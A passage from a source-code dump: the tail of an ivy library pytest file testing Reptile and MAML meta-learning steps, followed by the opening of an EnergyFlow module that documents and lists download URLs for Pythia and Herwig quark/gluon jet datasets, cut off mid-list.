batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # loss grad function\n    def loss_grad_fn(sub_batch_in, w_in):\n        return -2 * sub_batch_in[\"x\"][0] * w_in\n\n    # true gradient\n    true_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        ws = list()\n        grads = list()\n        ws.append(latent_np)\n        for step in range(inner_grad_steps):\n            update_grad = loss_grad_fn(sub_batch, ws[-1])\n            w = ws[-1] - inner_learning_rate * update_grad\n            grads.append(update_grad)\n            ws.append(w)\n        grads.append(loss_grad_fn(sub_batch, ws[-1]))\n\n        # true outer grad\n        true_outer_grad = sum(grads) / len(grads)\n        true_outer_grads.append(true_outer_grad)\n    true_outer_grad = (\n        sum(true_outer_grads) / len(true_outer_grads)\n    ) / inner_learning_rate\n\n    # true cost\n    true_cost_dict = {\n        1: {1: -1.0202, 2: -1.5509},\n        2: {1: -1.0409441, 2: -1.6042916},\n        3: {1: -1.0622487, 2: -1.6603187},\n    }\n    true_cost = true_cost_dict[inner_grad_steps][num_tasks]\n\n    # meta update\n    rets = ivy.reptile_step(\n        batch,\n        inner_cost_fn,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        batched=batched,\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.latent[0]), np.array(true_outer_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# Second Order #\n# -------------#\n\n# maml step unique vars\n@pytest.mark.parametrize(\"inner_grad_steps\", [1, 2, 3])\n@pytest.mark.parametrize(\"with_outer_cost_fn\", [True, False])\n@pytest.mark.parametrize(\"average_across_steps\", [True, False])\n@pytest.mark.parametrize(\"batched\", [True, False])\n@pytest.mark.parametrize(\"stop_gradients\", [True, False])\n@pytest.mark.parametrize(\"num_tasks\", [1, 2])\n@pytest.mark.parametrize(\"return_inner_v\", [\"first\", \"all\", False])\ndef test_maml_step_unique_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    if call in [helpers.tf_call, helpers.tf_graph_call]:\n        # ToDo: work out why MAML does not work for tensorflow\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variables\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[0.0]], device=device), num_tasks, 0)\n                ),\n                \"weight\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                ),\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(ivy.array([0.0], device=device)),\n                \"weight\": ivy.variable(ivy.array([1.0], device=device)),\n            }\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # numpy\n    weight_np = ivy.to_numpy(variables.weight[0:1])\n    latent_np = ivy.to_numpy(variables.latent[0:1])\n    batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # true gradient\n    all_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        all_outer_grads.append(\n            [\n                (\n                    -2 * i * inner_learning_rate * weight_np * sub_batch[\"x\"][0] ** 2\n                    - sub_batch[\"x\"][0] * latent_np\n                )\n                * (-1 if with_outer_cost_fn else 1)\n                for i in range(inner_grad_steps + 1)\n            ]\n        )\n    if average_across_steps:\n        true_outer_grad = sum([sum(og) / len(og) for og in all_outer_grads]) / num_tasks\n    else:\n        true_outer_grad = sum([og[-1] for og in all_outer_grads]) / num_tasks\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 0.005, 2: 0.0125}, False: {1: 0.01, 2: 0.025}},\n            False: {True: {1: -0.005, 2: -0.0125}, False: {1: -0.01, 2: -0.025}},\n        },\n        2: {\n            True: {True: {1: 0.01, 2: 0.025}, False: {1: 0.02, 2: 0.05}},\n            False: {True: {1: -0.01, 2: -0.025}, False: {1: -0.02, 2: -0.05}},\n        },\n        3: {\n            True: {True: {1: 0.015, 2: 0.0375}, False: {1: 0.03, 2: 0.075}},\n            False: {True: {1: -0.015, 2: -0.0375}, False: {1: -0.03, 2: -0.075}},\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.maml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        inner_v=\"latent\",\n        outer_v=\"weight\",\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.weight), np.array(true_outer_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# maml step shared vars\n@pytest.mark.parametrize(\"inner_grad_steps\", [1, 2, 3])\n@pytest.mark.parametrize(\"with_outer_cost_fn\", [True, False])\n@pytest.mark.parametrize(\"average_across_steps\", [True, False])\n@pytest.mark.parametrize(\"batched\", [True, False])\n@pytest.mark.parametrize(\"stop_gradients\", [True, False])\n@pytest.mark.parametrize(\"num_tasks\", [1, 2])\n@pytest.mark.parametrize(\"return_inner_v\", [\"first\", \"all\", False])\ndef test_maml_step_shared_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    if call in [helpers.tf_call, helpers.tf_graph_call]:\n        # ToDo: work out why MAML does not work for tensorflow\n        pytest.skip()\n\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variable\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                )\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\"latent\": ivy.variable(ivy.array([1.0], device=device))}\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] ** 2)[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_batch_in[\"x\"] * sub_v[\"latent\"] ** 2)[0]\n        return cost / batch_size\n\n    # numpy\n    variables_np = variables.map(lambda x, kc: ivy.to_ivy(x))\n    batch_np = batch.map(lambda x, kc: ivy.to_ivy(x))\n\n    # loss grad function\n    def loss_grad_fn(sub_batch_in, w_in, outer=False):\n        return (\n            (1 if (with_outer_cost_fn and outer) else -1)\n            * 2\n            * sub_batch_in[\"x\"][0]\n            * w_in\n        )\n\n    # update grad function\n    def update_grad_fn(w_init, sub_batch_in, num_steps, average=False):\n        terms = [0] * num_steps + [1]\n        collection_of_terms = [terms]\n        for s in range(num_steps):\n            rhs = [t * 2 * sub_batch_in[\"x\"][0] for t in terms]\n            rhs.pop(0)\n            rhs.append(0)\n            terms = [t + rh for t, rh in zip(terms, rhs)]\n            collection_of_terms.append([t for t in terms])\n        if average:\n            return [\n                sum(\n                    [\n                        t * inner_learning_rate ** (num_steps - i)\n                        for i, t in enumerate(tms)\n                    ]\n                )\n                * w_init.latent\n                for tms in collection_of_terms\n            ]\n        return (\n            sum(\n                [\n                    t * inner_learning_rate ** (num_steps - i)\n                    for i, t in enumerate(terms)\n                ]\n            )\n            * w_init.latent\n        )\n\n    # true gradient\n    true_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        ws = list()\n        grads = list()\n        ws.append(variables_np)\n        for step in range(inner_grad_steps):\n            update_grad = loss_grad_fn(sub_batch, ws[-1])\n            w = ws[-1] - inner_learning_rate * update_grad\n            if with_outer_cost_fn:\n                grads.append(loss_grad_fn(sub_batch, ws[-1], outer=True))\n            else:\n                grads.append(update_grad)\n            ws.append(w)\n        if with_outer_cost_fn:\n            grads.append(loss_grad_fn(sub_batch, ws[-1], outer=True))\n        else:\n            grads.append(loss_grad_fn(sub_batch, ws[-1]))\n\n        # true outer grad\n        if average_across_steps:\n            true_outer_grad = sum(\n                [\n                    ig.latent * ug\n                    for ig, ug in zip(\n                        grads,\n                        update_grad_fn(\n                            variables_np, sub_batch, inner_grad_steps, average=True\n                        ),\n                    )\n                ]\n            ) / len(grads)\n        else:\n            true_outer_grad = ivy.multiply(\n                update_grad_fn(variables_np, sub_batch, inner_grad_steps),\n                grads[-1].latent,\n            )\n        true_outer_grads.append(true_outer_grad)\n    true_outer_grad = sum(true_outer_grads) / len(true_outer_grads)\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 1.0202, 2: 1.5509}, False: {1: 1.0404, 2: 1.6018}},\n            False: {True: {1: -1.0202, 2: -1.5509}, False: {1: -1.0404, 2: -1.6018}},\n        },\n        2: {\n            True: {\n                True: {1: 1.0409441, 2: 1.6042916},\n                False: {1: 1.0824323, 2: 1.7110746},\n            },\n            False: {\n                True: {1: -1.0409441, 2: -1.6042916},\n                False: {1: -1.0824323, 2: -1.7110746},\n            },\n        },\n        3: {\n            True: {\n                True: {1: 1.0622487, 2: 1.6603187},\n                False: {1: 1.1261624, 2: 1.8284001},\n            },\n            False: {\n                True: {1: -1.0622487, 2: -1.6603187},\n                False: {1: -1.1261624, 2: -1.8284001},\n            },\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.maml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(\n        ivy.to_numpy(outer_grads.latent), ivy.to_numpy(true_outer_grad[0])\n    )\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# maml step overlapping vars\n@pytest.mark.parametrize(\"inner_grad_steps\", [1, 2, 3])\n@pytest.mark.parametrize(\"with_outer_cost_fn\", [True, False])\n@pytest.mark.parametrize(\"average_across_steps\", [True, False])\n@pytest.mark.parametrize(\"batched\", [True, False])\n@pytest.mark.parametrize(\"stop_gradients\", [True, False])\n@pytest.mark.parametrize(\"num_tasks\", [1, 2])\n@pytest.mark.parametrize(\"return_inner_v\", [\"first\", \"all\", False])\ndef test_maml_step_overlapping_vars(\n    device,\n    call,\n    inner_grad_steps,\n    with_outer_cost_fn,\n    average_across_steps,\n    batched,\n    stop_gradients,\n    num_tasks,\n    return_inner_v,\n):\n    if call in [helpers.np_call, helpers.mx_call]:\n        # Numpy does not support gradients, jax does not support gradients on custom\n        # nested classes, and mxnet does not support only_inputs argument to\n        # mx.autograd.grad\n        pytest.skip()\n\n    if call in [helpers.tf_call, helpers.tf_graph_call]:\n        # ToDo: work out why MAML does not work for tensorflow in wrapped mode\n        pytest.skip()\n    # config\n    inner_learning_rate = 1e-2\n\n    # create variables\n    if batched:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(\n                    ivy.repeat(ivy.array([[0.0]], device=device), num_tasks, 0)\n                ),\n                \"weight\": ivy.variable(\n                    ivy.repeat(ivy.array([[1.0]], device=device), num_tasks, 0)\n                ),\n            }\n        )\n    else:\n        variables = ivy.Container(\n            {\n                \"latent\": ivy.variable(ivy.array([0.0], device=device)),\n                \"weight\": ivy.variable(ivy.array([1.0], device=device)),\n            }\n        )\n\n    # batch\n    batch = ivy.Container({\"x\": ivy.arange(1, num_tasks + 1, dtype=\"float32\")})\n\n    # inner cost function\n    def inner_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost - (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # outer cost function\n    def outer_cost_fn(batch_in, v):\n        cost = 0\n        batch_size = batch_in.shape[0]\n        for sub_batch_in, sub_v in zip(\n            batch_in.unstack(0, keepdims=True), v.unstack(0, keepdims=True)\n        ):\n            cost = cost + (sub_batch_in[\"x\"] * sub_v[\"latent\"] * sub_v[\"weight\"])[0]\n        return cost / batch_size\n\n    # numpy\n    latent_np = ivy.to_numpy(variables.latent)\n    weight_np = ivy.to_numpy(variables.weight)\n    batch_np = batch.map(lambda x, kc: ivy.to_numpy(x))\n\n    # true weight gradient\n    all_outer_grads = list()\n    for sub_batch in batch_np.unstack(0, True, num_tasks):\n        all_outer_grads.append(\n            [\n                (\n                    -2 * i * inner_learning_rate * weight_np * sub_batch[\"x\"][0] ** 2\n                    - sub_batch[\"x\"][0] * latent_np\n                )\n                * (-1 if with_outer_cost_fn else 1)\n                for i in range(inner_grad_steps + 1)\n            ]\n        )\n    if average_across_steps:\n        true_weight_grad = (\n            sum([sum(og) / len(og) for og in all_outer_grads]) / num_tasks\n        )\n    else:\n        true_weight_grad = sum([og[-1] for og in all_outer_grads]) / num_tasks\n\n    # true latent gradient\n    true_latent_grad = np.array(\n        [(-1 - (num_tasks - 1) / 2) * (-1 if with_outer_cost_fn else 1)]\n    )\n\n    # true cost\n    true_cost_dict = {\n        1: {\n            True: {True: {1: 0.005, 2: 0.0125}, False: {1: 0.01, 2: 0.025}},\n            False: {True: {1: -0.005, 2: -0.0125}, False: {1: -0.01, 2: -0.025}},\n        },\n        2: {\n            True: {True: {1: 0.01, 2: 0.025}, False: {1: 0.02, 2: 0.05}},\n            False: {True: {1: -0.01, 2: -0.025}, False: {1: -0.02, 2: -0.05}},\n        },\n        3: {\n            True: {True: {1: 0.015, 2: 0.0375}, False: {1: 0.03, 2: 0.075}},\n            False: {True: {1: -0.015, 2: -0.0375}, False: {1: -0.03, 2: -0.075}},\n        },\n    }\n    true_cost = true_cost_dict[inner_grad_steps][with_outer_cost_fn][\n        average_across_steps\n    ][num_tasks]\n\n    # meta update\n    rets = ivy.maml_step(\n        batch,\n        inner_cost_fn,\n        outer_cost_fn if with_outer_cost_fn else None,\n        variables,\n        inner_grad_steps,\n        inner_learning_rate,\n        average_across_steps=average_across_steps,\n        batched=batched,\n        inner_v=\"latent\",\n        return_inner_v=return_inner_v,\n        stop_gradients=stop_gradients,\n    )\n    calc_cost = rets[0]\n    if stop_gradients:\n        assert not ivy.is_variable(calc_cost, exclusive=True)\n    assert np.allclose(ivy.to_scalar(calc_cost), true_cost)\n    outer_grads = rets[1]\n    assert not ivy.is_variable(outer_grads)\n    assert np.allclose(ivy.to_numpy(outer_grads.weight), np.array(true_weight_grad))\n    assert np.allclose(ivy.to_numpy(outer_grads.latent), np.array(true_latent_grad))\n    if return_inner_v:\n        inner_v_rets = rets[2]\n        assert isinstance(inner_v_rets, ivy.Container)\n        if return_inner_v == \"all\":\n            assert list(inner_v_rets.shape) == [num_tasks, 1]\n        elif return_inner_v == \"first\":\n            assert list(inner_v_rets.shape) == [1, 1]\n\n\n# Still to Add #\n# ---------------#\n\n# _compute_cost_and_update_grads\n# _train_tasks\n# _train_tasks_batched\n# _train_tasks_with_for_loop\n# _fomaml_step\n", "meta": {"hexsha": "16b7f8368f64b4722712c8cd9747aa28799e9869", "size": 36843, "ext": "py", "lang": "Python", "max_stars_repo_path": "ivy_tests/test_ivy/test_functional/test_core/test_meta.py", "max_stars_repo_name": "VedPatwardhan/ivy", "max_stars_repo_head_hexsha": "7b2105fa8cf38879444a1029bfaa7f0b2f27717a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ivy_tests/test_ivy/test_functional/test_core/test_meta.py", "max_issues_repo_name": "VedPatwardhan/ivy", "max_issues_repo_head_hexsha": "7b2105fa8cf38879444a1029bfaa7f0b2f27717a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ivy_tests/test_ivy/test_functional/test_core/test_meta.py", "max_forks_repo_name": "VedPatwardhan/ivy", "max_forks_repo_head_hexsha": "7b2105fa8cf38879444a1029bfaa7f0b2f27717a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7784697509, "max_line_length": 88, "alphanum_fraction": 0.5705018592, "include": true, "reason": "import numpy", "num_tokens": 10069, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10521053810590075, "lm_q1q2_score": 0.0521942987496524}}
{"text": "r\"\"\"## Quark and Gluon Jets\n\nFour datasets of quark and gluon jets, each having two million total jets, have\nbeen generated with [Pythia](http://home.thep.lu.se/~torbjorn/Pythia.html) and\n[Herwig](https://herwig.hepforge.org/) and are accessible through this\nsubmodule of EnergyFlow. The four datasets are:\n\n- Pythia 8.226 quark (uds) and gluon jets.\n- Pythia 8.235 quark (udscb) and gluon jets.\n- Herwig 7.1.4 quark (uds) and gluon jets.\n- Herwig 7.1.4 quark (udscb) and gluon jets\n\nTo avoid downloading unnecessary samples, the datasets are contained in twenty\nfiles with 100k jets each, and only the required files are downloaded. These\nare based on the samples used in \n[1810.05165](https://arxiv.org/abs/1810.05165). Splitting the data into \n1.6M/200k/200k train/validation/test sets is recommended for standardized\ncomparisons.\n\nEach dataset consists of two components:\n\n- `X` : a three-dimensional numpy array of the jets with shape \n`(num_data,max_num_particles,4)`.\n- `y` : a numpy array of quark/gluon jet labels (quark=`1` and gluon=`0`).\n\nThe jets are padded with zero-particles in order to make a contiguous array.\nThe particles are given as `(pt,y,phi,pid)` values, where `pid` is the\nparticle's [PDG id](http://pdg.lbl.gov/2018/reviews/rpp2018-rev-monte\n-carlo-numbering.pdf). Quark jets either include or exclude $c$ and $b$\nquarks depending on the `with_bc` argument.\n\nThe samples are generated from $q\\bar q\\to Z(\\to\\nu\\bar\\nu)+g$ and\n$qg\\to Z(\\to\\nu\\bar\\nu)+(uds[cb])$ processes in $pp$ collisions at\n$\\sqrt{s}=14$ TeV. Hadronization and multiple parton interactions (i.e.\nunderlying event) are turned on and the default tunings and shower parameters\nare used. Final state non-neutrino particles are clustered into $R=0.4$\nanti-$k_T$ jets using FastJet 3.3.0. Jets with transverse momentum\n$p_T\\in[500,550]$ GeV and rapidity $|y|<1.7$ are kept. Particles are ensured\nhave to $\\phi$ values within $\\pi$ of the jet (i.e. no $\\phi$-periodicity \nissues). No detector simulation is performed.\n\nThe samples are also hosted on Zenodo and we ask that you cite them\nappropriately if they are useful to your research. For BibTex entries,\nsee the [FAQs](/faqs/#how-do-i-cite-the-energyflow-package).\n\n[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.3164691.svg)](https://doi.org/10.5281/zenodo.3164691) - Pythia samples\n<br>\n[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.3066475.svg)](https://doi.org/10.5281/zenodo.3066475) - Herwig samples\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport warnings\n\nimport numpy as np\n\nfrom energyflow.utils.data_utils import _get_filepath, _pad_events_axis1\n\n__all__ = ['load']\n\nNUM_PER_FILE = 100000\nMAX_NUM_FILES = 20\nURLS = {\n    'pythia': {\n        'nobc': {\n            'dropbox': [\n                'https://www.dropbox.com/s/fclsl7pukcpobsb/QG_jets.npz?dl=1',\n                'https://www.dropbox.com/s/ztzd1a6lkmgovuy/QG_jets_1.npz?dl=1',\n                'https://www.dropbox.com/s/jzgc9e786tbk1m5/QG_jets_2.npz?dl=1',\n                'https://www.dropbox.com/s/tiwz2ck3wnzvlcr/QG_jets_3.npz?dl=1',\n                'https://www.dropbox.com/s/3miwek1n0brbd2i/QG_jets_4.npz?dl=1',\n                'https://www.dropbox.com/s/tsq80wc6ngen9kn/QG_jets_5.npz?dl=1',\n                'https://www.dropbox.com/s/5oba2h15ufa57ie/QG_jets_6.npz?dl=1',\n                'https://www.dropbox.com/s/npl6b2rts82r1ya/QG_jets_7.npz?dl=1',\n                'https://www.dropbox.com/s/7pldxfqdb4n0kaw/QG_jets_8.npz?dl=1',\n                'https://www.dropbox.com/s/isw4clv7n370nfb/QG_jets_9.npz?dl=1',\n                'https://www.dropbox.com/s/prw7myb889v2y12/QG_jets_10.npz?dl=1',\n                'https://www.dropbox.com/s/10r4ydro3e6nsmc/QG_jets_11.npz?dl=1',\n                'https://www.dropbox.com/s/42p10sv9jedmtn0/QG_jets_12.npz?dl=1',\n                'https://www.dropbox.com/s/crqdeg4arjti7cy/QG_jets_13.npz?dl=1',\n                'https://www.dropbox.com/s/1e7ss2quxhkbhwy/QG_jets_14.npz?dl=1',\n                'https://www.dropbox.com/s/psje9feje43buc7/QG_jets_15.npz?dl=1',\n                'https://www.dropbox.com/s/8qw5bcswgrr9fl1/QG_jets_16.npz?dl=1',\n                'https://www.dropbox.com/s/gcdp98bgupfk05x/QG_jets_17.npz?dl=1',\n                'https://www.dropbox.com/s/jvgt17z1ufxz1ly/QG_jets_18.npz?dl=1',\n                'https://www.dropbox.com/s/gbbfvy2e0slmm8v/QG_jets_19.npz?dl=1',\n            ],\n            'zenodo': [\n                'https://zenodo.org/record/3164691/files/QG_jets.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_1.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_2.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_3.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_4.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_5.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_6.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_7.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_8.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_9.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_10.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_11.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_12.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_13.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_14.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_15.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_16.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_17.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_18.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_19.npz?download=1',\n            ],\n        },\n\n        'bc': {\n            'dropbox': [\n                'https://www.dropbox.com/s/hlu497verxb9f4x/QG_jets_withbc_0.npz?dl=1',\n                'https://www.dropbox.com/s/fi3knsjwg5dvcu6/QG_jets_withbc_1.npz?dl=1',\n                'https://www.dropbox.com/s/cooz6qysvnfsqmr/QG_jets_withbc_2.npz?dl=1',\n                'https://www.dropbox.com/s/ej7xteeoyc7meau/QG_jets_withbc_3.npz?dl=1',\n                'https://www.dropbox.com/s/j2z30kh5u7t3ppb/QG_jets_withbc_4.npz?dl=1',\n                'https://www.dropbox.com/s/d94krcfcn6ca98y/QG_jets_withbc_5.npz?dl=1',\n                'https://www.dropbox.com/s/b5rfd0z3na09l99/QG_jets_withbc_6.npz?dl=1',\n                'https://www.dropbox.com/s/02gkrs0pbpzxwn2/QG_jets_withbc_7.npz?dl=1',\n                'https://www.dropbox.com/s/dlvquskq4fn3oy7/QG_jets_withbc_8.npz?dl=1',\n                'https://www.dropbox.com/s/5yny7e4l8bu0ps2/QG_jets_withbc_9.npz?dl=1',\n                'https://www.dropbox.com/s/93wu2rnnnf7og9u/QG_jets_withbc_10.npz?dl=1',\n                'https://www.dropbox.com/s/1p2whcbhc19rusk/QG_jets_withbc_11.npz?dl=1',\n                'https://www.dropbox.com/s/o35w4ds3d0jfkl2/QG_jets_withbc_12.npz?dl=1',\n                'https://www.dropbox.com/s/shjbg6mluivyyry/QG_jets_withbc_13.npz?dl=1',\n                'https://www.dropbox.com/s/k3phvslpc85qudk/QG_jets_withbc_14.npz?dl=1',\n                'https://www.dropbox.com/s/vyif9her9nwstx9/QG_jets_withbc_15.npz?dl=1',\n                'https://www.dropbox.com/s/jw6e31c6dmhpk4t/QG_jets_withbc_16.npz?dl=1',\n                'https://www.dropbox.com/s/lgxce8v7widxzju/QG_jets_withbc_17.npz?dl=1',\n                'https://www.dropbox.com/s/bj43a5a8z3nsb4n/QG_jets_withbc_18.npz?dl=1',\n                'https://www.dropbox.com/s/jal2p6o85bnj33d/QG_jets_withbc_19.npz?dl=1',\n            ],\n            'zenodo': [\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_0.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_1.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_2.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_3.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_3.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_4.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_5.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_6.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_7.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_8.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_9.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_10.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_12.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_13.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_14.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_15.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_16.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_17.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_18.npz?download=1',\n                'https://zenodo.org/record/3164691/files/QG_jets_withbc_19.npz?download=1',\n            ],\n        },\n    },\n\n    'herwig': {\n        'nobc': {\n            'dropbox': [\n                